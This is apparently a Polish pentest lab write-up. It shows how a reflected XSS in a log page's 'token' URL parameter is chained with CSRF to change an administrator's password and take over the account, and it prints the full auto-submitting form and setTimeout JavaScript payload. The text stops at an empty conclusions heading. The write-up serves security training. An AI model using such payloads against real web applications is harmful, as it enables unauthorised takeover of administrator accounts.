Przejęcie konta administratora — kradzież sesji i obejście logowania

Opis Aplikacji Aplikacja umożliwia logowanie użytkowników oraz przeglądanie aktywności w zakładce „Activity”. Dodatkowo zawiera zakładkę „Profile”, w której dostępny jest formularz zmiany hasła. W logach aktywności zapisywana jest nazwa użytkownika wprowadzona podczas logowania — bez filtrowania zawartości.
Zabezpieczenie: Brak filtrowania danych wejściowych przekazywanych w parametrach URL oraz brak ochrony przed atakami CSRF. Parametr token wyświetlany jest w interfejsie aplikacji bez walidacji ani encji. Mechanizm zmiany hasła oparty jest wyłącznie na tokenie CSRF i aktywnej sesji, bez dodatkowego uwierzytelnienia użytkownika.
Zadanie: Wykorzystanie podatności XSS do przejęcia tokenu CSRF oraz wykonanie ataku zmieniającego hasło administratora bez jego wiedzy. Następnie zalogowanie się na jego konto przy użyciu nowego hasła.
Szczegółowy opis: Wykonanie legalnego logowania do aplikacji i zlokalizowanie zakładki „Activity”, zawierającej logi oraz przycisk „Clear Activity” wykorzystujący parametr token w URL. Wstrzyknięcie złośliwego kodu HTML i JavaScript do parametru token w celu sprawdzenia, czy dane są wyświetlane bez filtrowania. Potwierdzenie podatności Reflected XSS poprzez wyświetlenie niesanetyzowanej zawartości w interfejsie aplikacji. Przygotowanie formularza POST zmieniającego hasło oraz osadzenie go w logach w postaci ładunku HTML z automatycznym wykonaniem. Wykorzystanie funkcji setTimeout do pobrania tokenu CSRF ze strony /profile/ i przesłania żądania zmiany hasła w kontekście sesji administratora. Zalogowanie się na konto administratora przy użyciu nowego hasła H@s&o_testowe i potwierdzenie pełnego przejęcia dostępu.
Target IP: [TARGET_IP]
Dane do logowania:

login_testowy
H@s&o_testowe

1. Logowanie do aplikacji
   Cel: Wejście do aplikacji z użyciem poprawnych danych logowania.
   Działanie: Logowanie na stronie [TARGET_IP] za pomocą legalnych poświadczeń.
   Rezultat: Logowanie powiodło się, widoczny panel aplikacji. W panelu dostępna jest zakładka „Activity”, w której wyświetlane są logi wszystkich aktywności na koncie

   

   SCREEN: pentest3 - scr2

2. Rekonesans
   Cel: Znalezienie podatności w zakładce "„Activity”
   Działanie: W zakładce „Activity” znajduje się przycisk „Clear Activity”, który umożliwia usunięcie wszystkich logów.
   Rezultat: Po kliknięciu „Clear Activity” historia aktywności zostaje usunięta. W przeglądarce pojawił się URL:

   http://192.168.100.62/activity/?clear=&token=686008bf7e956
   

   CopyCopied!
   Parametr ?clear=&token=686008bf7e956 wskazuje na mechanizm czyszczenia logów i jakie parametry są wymagane do jego wywołania. To token autoryzujący żądanie, token nie jest powiązany z sesją i może być polem do ataku XSS.
   SCREEN: pentest3 - scr3

3. Wstrzyknięcie kodu przez parametr token
   Cel: Weryfikacja użycie nieprawidłowego tokenu jest logowane
   Działanie: Ręczne zmodyfikowanie URL zakładki „Activity”, podstawiając w parametrze token kod HTML:

   url

   http://192.168.100.62/activity/?clear=&token=<b>XSS
   

   CopyCopied!

   Rezultat: Aplikacja zareagowała komunikatem „Wrong token!”, co oznacza, że przekazany token nie był zaakceptowany jako poprawny. To potwierdza, że wartość parametru token została zapisana w logach i wyświetlona bez filtrowania, a więc aplikacja jest podatna na Reflected XSS. Umożliwia odczytanie tokenu CSRF na stronie i ominięcie zabezpieczenia
   SCREEN: pentest3 - scr4

   
   

4. Zmiana hasła administratora przez połączenie XSS i CSRF
   Cel: Wykorzystanie XSS do przejęcia tokenu CSRF, następnie zmiana hasła administratora.
   Działanie: Wstrzyknięcie kodu zawierającego formularz POST z ukrytymi polami password1, password2 oraz token, a następnie automatyczne wykonanie tego formularza z użyciem tokenu pobranego z formularza zmiany hasła na stronie /profile/. Użyto funkcji setTimeout, by poczekać aż strona zdąży się załadować wraz z tokenem CSRF.

   html payload

   <form method="post" action="/profile/"><input type="hidden" name="password1" value="H@s&o_testowe"><input type="hidden" name="password2" value="H@s&o_testowe"><input type="hidden" name="token" id="t"></form><script>setTimeout('document.forms[0].t.value=document.forms[1].token.value;document.forms[0].submit()', 1000)</script>
   

   CopyCopied!

   full url

   http://192.168.100.62/activity/?clear=&token=<form method="post" action="/profile/"><input type="hidden" name="password1" value="H@s&o_testowe"><input type="hidden" name="password2" value="H@s&o_testowe"><input type="hidden" name="token" id="t"></form><script>setTimeout('document.forms[0].t.value=document.forms[1].token.value;document.forms[0].submit()', 1000)</script>
   

   CopyCopied!

   Rezultat: Payload zostaje poprawnie wykonany. Aplikacja przekierowuje użytkownika do zakładki „Profile”, gdzie wyświetlany jest komunikat potwierdzający zmianę hasła.
   SCREEN: pentest3 - scr5

   
   

5. Logowanie na konto administratora z użyciem podmienionego hasła
   Cel: Zalogowanie się na konto administratora po uprzedniej zmianie jego hasła
   Działanie: Przejście do strony logowania i użycie danych wstrzyknietych za pomoca HTML XSS
   Rezultat: Logowanie pomyślnie. Choć formularz nie zawierał pola z nazwą użytkownika, operacja została wykonana w kontekście aktywnej sesji — logi przeglądał administrator, więc to jego hasło zostało podmienione. Oznacza to, że przeglądarka wykonuje wszystkie działania jako zalogowany użytkownik — w tym przypadku jako administrator. Jeśli więc do logów zostanie wstrzyknięty formularz zmieniający hasło i otworzy go admin, to zmiana hasła dotyczy właśnie jego konta, ponieważ aplikacja przypisuje tę akcję do aktualnie zalogowanej osoby — nie do tego, kto stworzył formularz, tylko tego, kto go wyświetlił. (Kto otworzy złośliwy kod, ten sam sobie zmienia hasło. Jeśli to administrator — przejmujesz jego konto. Jeśli zwykły użytkownik — zmienia hasło tylko sobie, więc atak nie daje Ci dostępu do konta admina.)
   SCREEN: pentest3 - scr6

   
   

Wnioski końcowe: